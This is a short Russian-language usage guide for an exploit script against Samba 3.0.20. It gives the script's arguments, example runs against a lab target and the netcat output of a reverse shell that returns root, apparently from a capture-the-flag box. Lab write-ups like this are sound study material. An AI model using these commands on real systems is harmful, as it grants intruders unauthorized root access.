
Samba 3.0.20
· При выполнении скрипта с python3 с параметром --help он запрашивает ряд параметров
--lhost LHOST ваш хост (ip, где будет принята оболочка)
--lport LPORT ваш порт (порт, где будет принята оболочка)
--rhost RHOST удаленный хост (ip целевой машины)
--rport RPORT удаленный порт (порт целевой машины)
· Перед запуском скрипта сделайте следующее
pip3 install pysmb
· Пример
python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139
· Или вы можете сделать
python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139
· Пример работы скрипта
python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139
· Мы получаем оболочку
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
whoami
root